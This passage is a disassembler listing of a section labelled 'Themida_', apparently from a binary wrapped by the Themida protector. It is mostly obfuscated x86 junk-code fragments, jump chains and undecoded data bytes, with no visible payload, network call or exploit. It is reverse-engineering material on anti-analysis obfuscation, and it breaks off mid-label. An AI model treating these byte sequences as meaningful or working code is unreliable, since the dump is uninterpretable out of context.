; ---------------------------------------------------------------------------
loc_55D5D2: ; CODE XREF: Themida_:0055438Dj
push ebx
push edi
jmp loc_552E2B
; ---------------------------------------------------------------------------
db 58h, 4Dh, 0F7h
dd 0F5814DD5h, 489B73ADh, 7CF6ED81h, 0EE01CD51h, 24048B5Dh
dd 4C481h, 67E90000h, 89000028h, 525352E0h, 6D6037BAh
dd 0EDEA815Ch, 0E973EA45h, 252Dh, 2414F757h, 0FFB378E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D619: ; CODE XREF: Themida_:0055937Ej
pop edi
and eax, 9046EB0h
jmp loc_5544D3
; ---------------------------------------------------------------------------
dd 228FCB81h, 0DBF77312h, 0DAF3814Bh, 89EEADD1h, 0CF815BDFh
dd 0D3378B0h, 2D86E781h, 0DFF73C04h, 3461E9h, 31B35300h
dd 88DC8850h, 1C8B58E5h, 94EAE924h, 1C89FFFFh, 1C8B5424h
dd 2AEDE924h, 5B540000h, 0E3E95255h, 0C1FFFF4Ch, 0CA8103EAh
dd 5A2EFAh, 0EA81D2F7h, 0FAB29DE3h, 148BD701h, 4C48124h
dd 81000000h, 7F3D74C7h, 81D70101h, 7F3D74EFh, 1EBE5601h
dd 8104D272h, 731663C7h, 81F72925h, 731663EFh, 875A5E25h
dd 248B243Ch, 0B8E2E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D6BA: ; CODE XREF: Themida_:005644B6j
mov [esp], eax
mov eax, 4DF67BE6h
push ebx
sub esp, 4
jmp loc_553618
; ---------------------------------------------------------------------------
loc_55D6CE: ; CODE XREF: Themida_:0055AEB1j
push eax
mov eax, esp
add eax, 4
add eax, 4
push eax
jmp loc_55B28C
; ---------------------------------------------------------------------------
db 83h
dd 11E904C0h, 50FFFFD6h, 405E089h, 2D000000h, 4, 1EC4E9h
dd 18ED8100h, 1E4242Ch, 53555DEBh, 27B18BBh, 3A41E976h
db 2 dup(0FFh)
word_55D70E dw 77FFh ; DATA XREF: Themida_:0054FE20o
dd 58669D1Ch, 9C240418h, 0FF27FAE9h, 0E08950FFh, 405h
dd 42D00h, 4870000h, 0ADE95C24h, 0E9000042h, 0FFFF27DFh
; ---------------------------------------------------------------------------
loc_55D738: ; CODE XREF: Themida_:0056483Aj
mov edi, 4B265B85h
jmp loc_5566B0
; ---------------------------------------------------------------------------
dw 0E95Bh
dd 0FFFFD2A5h, 99E95166h, 81FFFF8Ah, 4C7h, 4C78100h, 87000000h
dd 2FE9243Ch, 89FFFF92h, 0EC81241Ch, 2, 240C8966h, 885001B1h
dd 0FFE788CCh, 48B2434h, 4C48324h, 4C481h, 59660000h, 0B2525366h
dd 0A5BEE922h, 429FFFFh, 7CE99C24h, 83FFFF27h, 348704EEh
dd 24248B24h, 68241489h, 2281h, 81242489h, 42404h, 0E95A0000h
dd 597Ah, 4EC81h, 3C890000h, 0E8B95124h, 81057836h, 0EB7DB6F1h
dd 59CF890Ch, 16F3B850h, 0C729CC69h, 8BFB2958h, 0C481243Ch
dd 4, 8CE9C329h, 4FFFF74h, 0E9C728E4h, 0FFFF6CB1h, 31240C33h
dd 0C33240Ch, 89665C24h, 0CE92404h, 68FFFF27h, 4C82h, 782DE9h
db 0
; ---------------------------------------------------------------------------
loc_55D815: ; CODE XREF: Themida_:0054FF7Bj
push 5038h
jmp loc_5632EF
; ---------------------------------------------------------------------------
db 5Eh
dd 0E9E78957h, 0FFFF4803h, 83241C8Bh, 48F04C4h, 24248B24h
dd 4EC81h, 80E90000h, 900005Bh, 0C58158C5h, 398439DDh
dd 0D57FF581h, 0EB091BDEh, 0FF87A4E9h, 56853FFh, 0E918AD43h
dd 0FFFFF335h
; ---------------------------------------------------------------------------
loc_55D860: ; CODE XREF: Themida_:0056157Dj
add ebx, 4
push ecx
mov ecx, 250A7755h
shl ecx, 6
jmp loc_553159
; ---------------------------------------------------------------------------
dd 5F2434FFh, 4C481h, 0C8010000h, 323B1405h, 240C8B42h
dd 4C481h, 0CD050000h, 29796709h, 0BB5352D8h, 187A6790h
dd 3D37EB81h, 8DE9378Dh, 8B000071h, 0C3682414h, 89000000h
db 14h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push ebx
mov ebx, 4
sub ebp, ebx
pop ebx
xchg ebp, [esp]
mov esp, [esp]
jmp loc_565233
; ---------------------------------------------------------------------------
db 81h
dd 4C3h, 241C8700h, 5FB5E95Ch, 1FBE0000h, 46214A2Bh, 1FCE8146h
dd 0E92DDC37h, 0FFFFBC76h, 1F73CFB9h, 0FFE9816Ch, 81FFFFFFh
dd 0AB49B2F1h, 66F18161h, 291C0653h, 815E59C8h, 0C009BBC3h
dd 63BF5734h, 0E9394657h, 3C38h, 6802EBC1h, 0B65h, 51240489h
dd 8142FBB9h, 0E471B87Eh, 0DEE9AFE1h, 81FFFFB5h, 54977CC5h
dd 0D776E93Fh, 0C181FFFFh, 4, 0FFF149E9h, 241C89FFh, 0FFAD19E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D955: ; CODE XREF: Themida_:0055629Dj
pop edi
push edi
jmp loc_5590D6
; ---------------------------------------------------------------------------
dd 0FF25B6E9h, 6408B8FFh, 0E6E91F10h, 0BFFFFF4Dh, 5A797241h
dd 0E7D1DFF7h, 0EEDBEF81h, 0FA891CFFh, 0A7F2815Fh, 522E0D2Ch
dd 533CC0BAh, 37BF574Ah, 477A2600h, 0BE15C781h, 0FA296B56h
dd 4B0EE95Fh, 0C3810000h, 5560272Ah, 5624048Bh, 0FF46C2E9h
dd 0AC62BBFFh, 0DA01FF0Eh, 0AC23E95Bh, 0EEC1FFFFh, 0EE814E02h
dd 7ECB0058h, 0F5E9DEF7h
db 8Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D9CB: ; CODE XREF: Themida_:0056325Ej
xor [esp], ecx
xor ecx, [esp]
xor [esp], ecx
mov edx, [esp]
jmp loc_563F2C
; ---------------------------------------------------------------------------
dd 0EFD4E95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D9E2: ; CODE XREF: Themida_:00553DC7j
mov edi, 47F11CBFh
mov ebx, edi
pop edi
shr ebx, 6
shl ebx, 1
push eax
sub esp, 4
mov [esp], ecx
push 5F7F2A40h
pop ecx
add ecx, 0B9A61191h
push ecx
pop eax
pop ecx
push eax
mov eax, 7EBD6DC4h
sub eax, 65DC514Fh
or eax, 7787077Eh
shl eax, 5
xor eax, 52276E37h
add eax, 732B7E11h
jmp loc_557596
; ---------------------------------------------------------------------------
dw 0C581h
dd 4, 5C242C87h, 9C240CFFh, 0FF24DAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55DA3D: ; CODE XREF: Themida_:0055BE92j
add ebx, 4
jmp loc_563D2E
; ---------------------------------------------------------------------------
dd 41C5C181h, 0E90120F3h, 0D015E955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DA56: ; CODE XREF: Themida_:0056463Fj
push dword ptr [esp]
push dword ptr [esp]
mov edx, [esp]
jmp loc_556EFA
; ---------------------------------------------------------------------------
loc_55DA64: ; CODE XREF: Themida_:0056281Fj
pop esp
pop dword ptr [esp]
jmp loc_551C92
; ---------------------------------------------------------------------------
byte_55DA6D db 56h, 89h, 0E6h ; DATA XREF: Themida_:0054FE84o
dd 4C681h, 68550000h, 0DB802DEh, 0EDD1455Dh, 0FF5F64E9h
dd 241433FFh, 287BE95Ch, 0E2890000h, 4C281h, 3EE90000h
dd 0F7FFFF49h, 53582414h, 962D45BBh, 0E9D8095Eh, 0FFFFF75Fh
dd 54486866h, 81665E66h, 667638F6h, 0E95EF389h, 12E9h
dd 0C15EF209h, 0B95103EAh, 55AB4694h, 8159CA29h, 1F67E0EAh
dd 0E9D701B2h, 0FFFF52E5h, 3E48EF81h, 0F8016549h, 0E689565Fh
dd 0FFAE70E9h, 24148BFFh, 4C481h, 55570000h, 9B1FC5BDh
dd 8DED812Fh, 0E92C702Ch, 512Eh, 2771EE81h, 0DE015B81h
dd 2771C681h, 0D3E95B81h, 0FFFFFF7Dh, 2FE92434h, 52FFFF3Eh
dd 0FFFA35E9h, 60F8BDFFh, 0C0E905EAh, 4800001Eh, 0E0C1D0F7h
dd 63F02D04h, 0F2E94E38h, 8100004Eh, 4042444h, 12E785Bh
dd 5604246Ch, 785B04BEh, 2474292Eh, 44815E08h, 8F90424h
dd 0E9560BC2h, 0FFFF242Ch, 0AAA1685Dh, 295B569Ch, 24048BC3h
dd 5204C483h, 0B31C2EBAh, 6C14E91Ch, 0E3C0FFFFh, 0B4CB8006h
dd 0C380DBF6h, 0E9DE00ADh, 0FFFF8D9Fh
; ---------------------------------------------------------------------------
loc_55DB94: ; CODE XREF: Themida_:0055E41Bj
push 1A25946h
mov edx, [esp]
jmp loc_5567A4
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 28000000h, 241C8BDAh, 3004C483h, 54555AD1h, 0DB22E95Dh
dd 895CFFFFh, 0B9240Ch, 1000000h, 8B0188D1h, 0EC83240Ch
dd 243C8904h, 0E9555F54h, 710Fh, 835DEF01h, 0FF5704C7h
dd 5F042474h, 0FF9B3DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55DBE9: ; CODE XREF: Themida_:00554E47j
sub eax, edi
pop edi
add ebp, eax
pop eax
xchg ebp, [esp]
jmp loc_55C924
; ---------------------------------------------------------------------------
db 89h
dd 0E0892404h, 0FF6DEFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55DC01: ; CODE XREF: Themida_:00552EC1j
pop edx
add dword ptr [esp+4], 36B00316h
add dword ptr [esp+4], 4B373EC6h
jmp loc_560B08
; ---------------------------------------------------------------------------
db 87h
dd 835C2434h, 3C3304C7h, 243C3124h, 8B243C33h, 0B70F2424h
dd 23BC68C8h, 14890000h, 9EE95424h, 31FFFF9Bh, 0CB015EF1h
dd 0EDE95659h, 81FFFF27h, 0EAA133F1h, 8BC801D2h, 0C481240Ch
dd 4, 8124348Bh, 4C4h, 4EC8300h, 6F6BE9h
db 0
; ---------------------------------------------------------------------------
loc_55DC69: ; CODE XREF: Themida_:00564EDFj
add ebx, 4
xchg ebx, [esp]
jmp loc_551402
; ---------------------------------------------------------------------------
dd 229DE95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DC7A: ; CODE XREF: Themida_:0055B2B6j
pop ebx
sub edi, ebp
jmp loc_559A0C
; ---------------------------------------------------------------------------
dw 0BD55h
dd 4, 0E9EF8957h, 0FFFF7372h, 242C8155h, 4B6D013Dh, 81240C8Bh
dd 4C4h, 0A8BE5600h, 8179754Fh, 0F7B195C6h, 5EF101D1h
dd 0FFE8ECE9h
db 0FFh
byte_55DCB5 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FD8Co
dd 54505224h, 40558h, 42D0000h, 87000000h, 248B2404h, 24248924h
dd 528D68h, 241C8900h, 4BBh, 245C0100h, 148B5B04h, 4EC8324h
dd 0FF283DE9h, 0D2F74AFFh, 0E94ADAF7h, 0C3Fh
; ---------------------------------------------------------------------------
loc_55DCF8: ; CODE XREF: Themida_:00552701j
div cx
jmp loc_5561B1
; ---------------------------------------------------------------------------
dd 241C875Fh, 824248Bh, 0E99C2404h, 0FFFF2207h, 5DEA895Fh
dd 8904EC83h, 17BE2434h, 8113CA05h, 0C7046DE6h, 0E6D14620h
dd 3635E681h, 814E4B98h, 2BACF1EEh, 0FD86E9E5h, 431FFFFh
dd 21D5E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DD42: ; CODE XREF: Themida_:0055FC74j
add ecx, 4
push ebp
mov ebp, 4
sub ecx, ebp
pop ebp
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ecx
push 0FEh
push dword ptr [esp]
jmp loc_55FA0A
; ---------------------------------------------------------------------------
db 51h
dd 0CD787EB9h, 59CD090Ch, 6195E9h, 4EDC000h, 804AED80h
dd 0E828E4C5h, 50240C8Bh, 0FF38B3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55DD89: ; CODE XREF: Themida_:00564F81j
and eax, ebp
mov ebp, [esp]
add esp, 4
shr eax, 8
xor eax, ecx
push 4D7Ch
mov [esp], eax
xchg ecx, [esp]
jmp loc_556764
; ---------------------------------------------------------------------------
dw 5D5Fh
dd 48BC389h, 4C48324h, 473BCB81h, 0F381439Bh, 6A1161A7h
dd 65A2BD55h, 30E94920h, 81000075h, 0F743C9EEh, 7436E901h
dd 89500000h, 0A5AE9E0h, 4BB0000h, 0E9000000h, 0FFFF93F3h
dd 965EF029h, 49919646h, 11BF5791h, 0E93C5A53h, 1A81h
dd 0E9FFE835h, 58C10157h, 7E186855h, 34890000h, 1B246824h
dd 348B0E75h, 5A545224h, 4BD55h, 0EA010000h, 4341E95Dh
dd 0CB89FFFFh, 70F38159h, 0E91ECA6Fh, 5538h, 0B1C2815Fh
dd 81655520h, 75D7A4F2h, 5AD5014Fh, 0FFBC7BE9h, 0E9C329FFh
dd 52D9h, 4C481h, 39E90000h, 33000064h, 0E95C2404h, 0FFFFE665h
dd 65AEEB81h, 0DBF73B19h, 22F7C381h, 0D8294A8Fh, 0FF309DE9h
dd 0F7454DFFh, 2EE957DDh, 5C00004Fh, 68240C89h, 5342h
dd 51243C89h, 0CF89F189h, 0E9240C8Bh, 2009h, 0BD2DD801h
dd 5B0F9C79h, 72AB68h, 24148900h, 370BE9h
db 0
; ---------------------------------------------------------------------------
loc_55DEAD: ; CODE XREF: Themida_:0055A5E9j
sub edx, eax
mov eax, edx
pop edx
push edx
mov edx, 59156E21h
sub edx, 0BFA164Bh
jmp loc_559D38
; ---------------------------------------------------------------------------
byte_55DEC3 db 0FFh ; DATA XREF: Themida_:0054FC3Co
dd 3DE92434h, 81FFFF37h, 732C2434h, 2C8B2827h, 4C48324h
dd 732CF581h, 48B2827h, 4C48324h, 0FFC5834Dh, 0E9DDF745h
dd 0FFFFDAD6h, 266068h, 267BE900h, 48F0000h, 0D8285C24h
dd 34FFA904h, 4E80E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55DF0A: ; CODE XREF: Themida_:0055BBFCj
mov [esp], ebx
push ebx
push eax
push ebx
mov ebx, 1C0804EFh
push ebx
pop eax
pop ebx
mov ebx, eax
mov eax, [esp]
push 4F09h
jmp loc_552E7A
; ---------------------------------------------------------------------------
dd offset dword_568568
align 4
dd 0BD242C89h, 0C40E0A21h, 6FE9E929h, 31000013h, 6E958C3h
db 29h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DF43: ; CODE XREF: Themida_:005562C7j
mov eax, ebx
pop ebx
jmp loc_558B12
; ---------------------------------------------------------------------------
db 55h
dd 4BDh, 5DEE0100h, 0F4685653h, 5E7BA335h, 0FFC8FEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55DF61: ; CODE XREF: Themida_:0055F7BCj
sub esp, 4
jmp loc_563DFB
; ---------------------------------------------------------------------------
loc_55DF6C: ; CODE XREF: Themida_:005529A0j
add ebp, 4
add ebp, 4
jmp loc_563F59
; ---------------------------------------------------------------------------
aBaH0 db 'í[H0',0
db 59h
dd 0FFA28DE9h, 5E089FFh, 4, 0E904C083h, 0FFFF3DA4h, 8005E5C0h
dd 0EDC0BFC5h, 52CDFE03h, 0C280CCB2h, 5AD530CBh, 0E959E828h
dd 0FFFF6215h, 4C681h, 34870000h, 87BF5C24h, 18ABFD5h
dd 242C8BEFh, 104C483h, 2C335FFDh, 56C5E924h, 0C2810000h
dd 3B7C34CEh, 0EA81FA01h, 3B7C34CEh, 2414875Fh, 0FFB200E9h
dd 38E95BFFh, 5AFFFF33h, 0C8BCB29h, 2953E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55DFFE: ; CODE XREF: Themida_:0055036Aj
sub edx, 6E6475D6h
push ebp
mov ebp, 3E421A82h
xchg eax, ebp
jmp loc_561401
; ---------------------------------------------------------------------------
dd 1E685E54h, 8900004Ch, 0ED682414h, 89000004h, 0EFBE2434h
dd 0E90C475Dh, 0FFFF2CAEh, 4C4FED81h, 0EE01757Fh, 5EF3315Dh
dd 3060E951h, 0E95CFFFFh, 0FFFF48E6h, 685A5452h, 5022h
dd 0FF6004E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E051: ; CODE XREF: Themida_:00562AE9j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
pop dword ptr [esp]
jmp loc_561074
; ---------------------------------------------------------------------------
db 31h, 4, 24h
dd 5C240433h, 24048B66h, 4EC8156h, 89000000h, 0B8502424h
dd 4, 4244401h, 2434FF58h, 4C4815Eh, 51000000h, 6F163BB9h
dd 0DFBE564Ch, 9618109h, 52505EF1h, 80720CBAh, 5AD08921h
dd 92A4E955h, 3C89FFFFh, 95D0E924h, 0D829FFFFh, 8330B72Dh
dd 0BDBB537Eh, 29164634h, 5252E9D8h, 0FD880000h, 5152665Bh
dd 0EE8830B5h, 53240C8Bh, 0C381E389h, 4, 8704C383h, 305C241Ch
dd 525A66F5h, 2CFDE9h, 0CFF58100h, 89559274h, 0EEC15DEEh
dd 814E4607h, 0EA75E0F6h, 81D6F721h, 21E9BEEh, 0F6814E27h
dd 76BD69DEh, 8106EEC1h, 75FB86F6h, 5EF7299Ch, 315FFB29h
dd 77FDE9C2h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E12A: ; CODE XREF: Themida_:00555F5Fj
push ebp
push edi
jmp loc_5605C1
; ---------------------------------------------------------------------------
db 0BBh, 0FFh, 6Fh
dd 0DA297598h, 2C2E95Bh, 0C4830000h, 0A3C68104h, 57793A61h
dd 9E5C20BFh, 5FFE0182h, 0FF8776E9h, 86EE80FFh, 30CDC680h
dd 24148BF3h, 0FFFA3CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E165: ; CODE XREF: Themida_:0055E19Ej
push ecx
mov ecx, 0A4B40C85h
sub eax, ecx
pop ecx
mov ebp, eax
jmp loc_56191F
; ---------------------------------------------------------------------------
db 89h, 0C3h, 58h
dd 9C2C76B9h, 0E1D1495Dh, 0FF8F21E9h, 5DEA29FFh, 0FF2831E9h
dd 2434FFFFh, 4C4835Eh, 51E38953h, 3970E9h
db 0
; ---------------------------------------------------------------------------
loc_55E19D: ; CODE XREF: Themida_:00550F71j
inc eax
jmp loc_55E165
; ---------------------------------------------------------------------------
db 68h
dd 224Ch, 0E9241489h, 0FFFFE6AFh
; ---------------------------------------------------------------------------
loc_55E1B0: ; CODE XREF: Themida_:0055302Dj
push esi
mov esi, 9B3CE09Ch
xor ebx, esi
pop esi
jmp loc_555B98
; ---------------------------------------------------------------------------
dw 5A5Fh
dd 0FF1D52E9h, 0F30159FFh, 8124348Bh, 4C4h, 0E2D6800h
dd 1C890000h, 2474FF24h, 48F5B04h, 402D5C24h, 8320679Eh
dd 16E904ECh
db 64h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E1EF: ; CODE XREF: Themida_:00561C15j
mov ecx, [esp]
add esp, 4
jmp loc_55D217
; ---------------------------------------------------------------------------
db 5Ah, 59h, 0E9h
dd 1C2Fh
; ---------------------------------------------------------------------------
loc_55E204: ; CODE XREF: Themida_:0055713Ej
mov ebx, [esp]
add esp, 4
mov eax, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
jmp loc_556429
; ---------------------------------------------------------------------------
loc_55E21A: ; CODE XREF: Themida_:00563ABDj
sub eax, 6D734FFBh
add ecx, eax
pop eax
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
push dword ptr [edi+eax*4]
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push esi
push esp
pop esi
add esi, 4
jmp loc_563322
; ---------------------------------------------------------------------------
loc_55E24E: ; CODE XREF: Themida_:0055E984j
pop ecx
push eax
push esi
mov esi, 7F153F7Fh
dec esi
not esi
jmp loc_562DC2
; ---------------------------------------------------------------------------
dw 148Bh
dd 4C48324h, 80E8B353h, 0C3FE97CBh, 0F380C3FEh, 54CE6848h
dd 3C890000h, 81E78924h, 4C7h, 8E00E900h, 0BF57FFFFh, 1BD21543h
dd 815FFD31h, 124D94C5h, 3B212D38h, 0E8293556h, 563B2105h
dd 0BF575D35h, 4B941888h, 3C8BF829h, 4C48324h, 4EC81h
dd 0C890000h, 2CF56824h, 20E90000h
db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E2C3: ; CODE XREF: Themida_:00551485j
add esp, 4
neg ebx
jmp loc_560785
; ---------------------------------------------------------------------------
db 80h, 0C9h, 5Ch
dd 8004E9C0h, 0A0E9C1C9h, 4300003Dh, 0C102E3C1h, 0EBC103EBh
dd 0FCC38103h, 0E9FF2878h, 0FFFF417Ch, 3BBE56h, 0F2890EEDh
dd 0E9D3295Eh, 0FFFF7CCDh, 0B5F68146h, 8965C34Ch, 0FA015EF7h
dd 0D7B8505Fh, 83432D2Ch, 348904ECh, 53F2BE24h, 0EEC10EBDh
dd 0D7F1E907h, 1E68FFFFh, 89000032h, 25E9240Ch, 5C000015h
dd 24048F54h, 4BA52h, 54010000h, 31E90424h
db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E347: ; CODE XREF: Themida_:005524FCj
push ecx
inc dword ptr [esp]
pop ecx
sub ecx, 48971A4Dh
add ecx, 52B90739h
and ecx, 534E31FBh
jmp loc_55E976
; ---------------------------------------------------------------------------
db 8Bh
dd 0B9E92404h
db 19h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E36B: ; CODE XREF: Themida_:00556044j
neg ecx
add ecx, 0BE9C514Fh
jmp loc_55BF63
; ---------------------------------------------------------------------------
loc_55E378: ; CODE XREF: Themida_:00551F80j
sub eax, 0A774DFE2h
xor esi, eax
pop eax
mov edi, [esp]
jmp loc_55E8D8
; ---------------------------------------------------------------------------
dd 0E95AF588h, 5732h
; ---------------------------------------------------------------------------
loc_55E390: ; CODE XREF: Themida_:0055A85Aj
push 4216h
mov [esp], edi
mov edi, 38EA2C28h
push esi
push 7D9340D8h
jmp loc_552301
; ---------------------------------------------------------------------------
dd 3C8BF921h, 5C42E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E3B2: ; CODE XREF: Themida_:00550E4Fj
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_55936B
; ---------------------------------------------------------------------------
dw 481h
dd 424h, 0C5815D00h, 4, 4C581h, 2C330000h, 242C3124h, 8B242C33h
dd 0AFE92424h
db 0F3h, 2 dup(0FFh)
aNh4 db 'h4+',0 ; DATA XREF: Themida_:0054FE14o
dd 241C8900h, 4EC81h, 0C890000h, 1A9C6824h, 0E95920FAh
dd 5ADEh, 0E95AD089h, 0FFFFB3B9h
; ---------------------------------------------------------------------------
loc_55E408: ; CODE XREF: Themida_:0055EC2Ej
mov ebx, [esp]
add esp, 4
xchg ecx, [esp]
pop esp
push ebx
push ecx
mov ecx, 60894EACh
push edi
push edx
jmp loc_55DB94
; ---------------------------------------------------------------------------
dd 4C681h, 34870000h, 0F8015C24h, 0E9243C8Bh, 0FFFF5E04h
dd 0EC81D9F7h, 4, 0BA241489h, 555219CAh, 15D3E9h, 0E9F88900h
dd 48A7h, 33242C31h, 248B242Ch, 48B6624h, 0E7895724h, 4E95752h
dd 87FFFFF5h, 535C243Ch, 0BE565B54h, 732A532Eh, 33F5F681h
dd 0BD5549E5h, 4B5B0675h, 815DEE31h, 736D3ACEh, 0C6814E74h
dd 0B640978h, 7931BD55h, 0EE31815Bh, 8BF3015Dh, 0EBE92434h
dd 6800002Bh, 46FC7DC7h, 89EE815Eh, 0C1310F4Ah, 0F68102E6h
dd 7FDACAC9h, 0FFC246E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E4BD: ; CODE XREF: Themida_:00556B85j
sub ecx, 108373DBh
or ecx, 1B747837h
xor ecx, 86F7E405h
add esi, ecx
pop ecx
shr esi, 1
xor esi, 41030ECDh
sub eax, esi
jmp loc_5634F9
; ---------------------------------------------------------------------------
byte_55E4E1 db 0FFh, 77h, 40h ; DATA XREF: Themida_:0054FC90o
dd 0FF1A2EE9h, 54565EFFh, 5390E95Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E4F2: ; CODE XREF: Themida_:0055CA6Dj
shl esi, 7
add esi, 163D52BCh
jmp loc_554788
; ---------------------------------------------------------------------------
dd 3C8B5457h, 4C48124h, 0E9000000h, 0FFFFDE9Bh
; ---------------------------------------------------------------------------
loc_55E510: ; CODE XREF: Themida_:0055FE9Cj
add esp, 4
or edx, eax
jmp loc_55CB40
; ---------------------------------------------------------------------------
dw 74FFh
dd 99E90424h
db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E523: ; CODE XREF: Themida_:00560679j
mov eax, [esp]
add esp, 4
shr esi, 7
xor esi, 0FE737CFBh
jmp loc_5635FC
; ---------------------------------------------------------------------------
loc_55E53A: ; CODE XREF: Themida_:005616E3j
push eax
mov eax, 4B117551h
and eax, 6A067696h
add eax, 0B5FF8BF4h
add ecx, 749C7CC4h
add ecx, eax
sub ecx, 749C7CC4h
jmp loc_56421E
; ---------------------------------------------------------------------------
db 51h, 0B9h, 30h
dd 8140E123h, 0C37C3DE9h, 8E9C111h, 13BAF181h, 0D9F74581h
dd 0D873C181h, 0CB3175AFh, 97BD5559h, 515CF45Ch, 275292B9h
dd 244C291Ah, 6C01590Ch, 44810824h, 52920824h, 34FF1A27h
dd 0C4815D24h, 4, 0E9E28952h, 2DC6h, 5BD9015Bh, 304E9h
db 0
; ---------------------------------------------------------------------------
loc_55E5B5: ; CODE XREF: Themida_:00557B48j
pop edx
shl bl, 8
push ecx
mov ecx, esp
push 0CA3h
mov [esp], ebp
push edx
push 5CD630D8h
jmp loc_55010B
; ---------------------------------------------------------------------------
db 54h
dd 0FF633CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E5D5: ; CODE XREF: Themida_:0055FF77j
xor ch, 0DFh
or ch, 0F2h
push dx
mov dl, ch
inc dl
mov ch, dl
pop dx
shr ch, 3
inc ch
push edx
mov dh, 5Bh
sub ch, 0B2h
sub ch, dh
jmp loc_559F84
; ---------------------------------------------------------------------------
db 33h
dd 51E9242Ch, 5FFFFFFEh, 2DEB815Dh, 123E935h, 2DC381C3h
dd 0E923E935h, 0FFFF1ECFh, 8B241487h, 0E1F62424h, 0CCB60F66h
dd 0FFD4D9E9h, 0E9D000FFh, 0FFFFEF03h, 627AF281h, 0D3892EFEh
dd 0FFD75DE9h, 5F1BDFFh, 0EB011218h, 5F69E95Dh, 0CA290000h
dd 4C0AEA81h, 1AE97E01h, 81FFFF99h, 4C2h, 45756800h, 14890000h
dd 1F9EE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E666: ; CODE XREF: Themida_:005574C9j
push 1Dh
mov [esp], eax
jmp loc_560926
; ---------------------------------------------------------------------------
db 89h
dd 4EC81E0h, 89000000h, 0BD552414h, 4, 2C8BEA89h, 9FCAE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E68E: ; CODE XREF: Themida_:00553640j
xor ebx, 26AE5D9Eh
and eax, ebx
mov ebx, [esp]
jmp loc_55464A
; ---------------------------------------------------------------------------
word_55E69E dw 8B66h ; DATA XREF: Themida_:0054FDF8o
dd 0EC812404h, 4, 89240C89h, 4AB850E1h, 2552E86Ch, 9C64BF5h
dd 38616B25h, 3FC02D1Dh, 0D8F7152Ah, 0E80CEC0Dh, 0F72AE953h
dd 0C483FFFFh, 0C8B6602h, 0CC56E924h
db 2 dup(0FFh)
word_55E6DA dw 8B66h ; DATA XREF: Themida_:0054FCE0o
dd 5456240Ch, 5302E95Eh, 0CE010000h, 20EE8159h, 5758A441h
dd 23773CBFh, 5FFE3136h, 4EC81h, 4890000h, 22C8E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E706: ; CODE XREF: Themida_:005546E3j
mov ax, [esp]
sub esp, 4
mov [esp], ebx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push esi
jmp loc_55A744
; ---------------------------------------------------------------------------
dw 0C483h
dd 0F4C78104h, 812D3179h, 67C9FCF7h, 5FFD890Fh, 602EC9BAh
dd 5DEA317Eh, 4765BD55h, 0C58171A9h, 3B1A16C7h, 5003EDC1h
dd 7F64BA52h, 0E2C120F2h, 9DEA8102h, 89592DEAh, 24148BD0h
dd 0D04C483h, 7B550A01h, 15511835h, 53D8F736h, 3661FCBBh
dd 2EBC160h, 1862CB81h, 0EB817083h, 4FEE51D0h, 47D6C381h
dd 0EB814943h, 40DE4389h, 0F52EEB81h, 0D829195Ch, 5DC9355Bh
dd 0C5319845h, 9AED8158h, 1AEC400h, 51565DEAh, 76406CB9h
dd 5DC5686Ch, 295E78E5h, 0F20159CEh, 3ABD555Eh, 0E970D76Eh
dd 0FFFFAA32h, 3BBFE95Eh, 1BFFFFFh, 0E9000000h, 0FFFF4790h
; ---------------------------------------------------------------------------
loc_55E7E0: ; CODE XREF: Themida_:00551B30j
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_55549C
; ---------------------------------------------------------------------------
loc_55E7EE: ; CODE XREF: Themida_:00559CF9j
mov dl, 8Ah
and dl, 66h
jmp loc_564B85
; ---------------------------------------------------------------------------
dword_55E7F8 dd 6824048Bh, 1F9Eh, 68240489h, 0D97h, 748468h, 48F5400h
; DATA XREF: Themida_:0054FE9Co
dd 5E07E924h, 39B9FFFFh, 31784A50h, 8DE959CAh
db 57h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E823: ; CODE XREF: Themida_:00555BC8j
pop esp
loc_55E824: ; CODE XREF: Themida_:loc_553AFAj
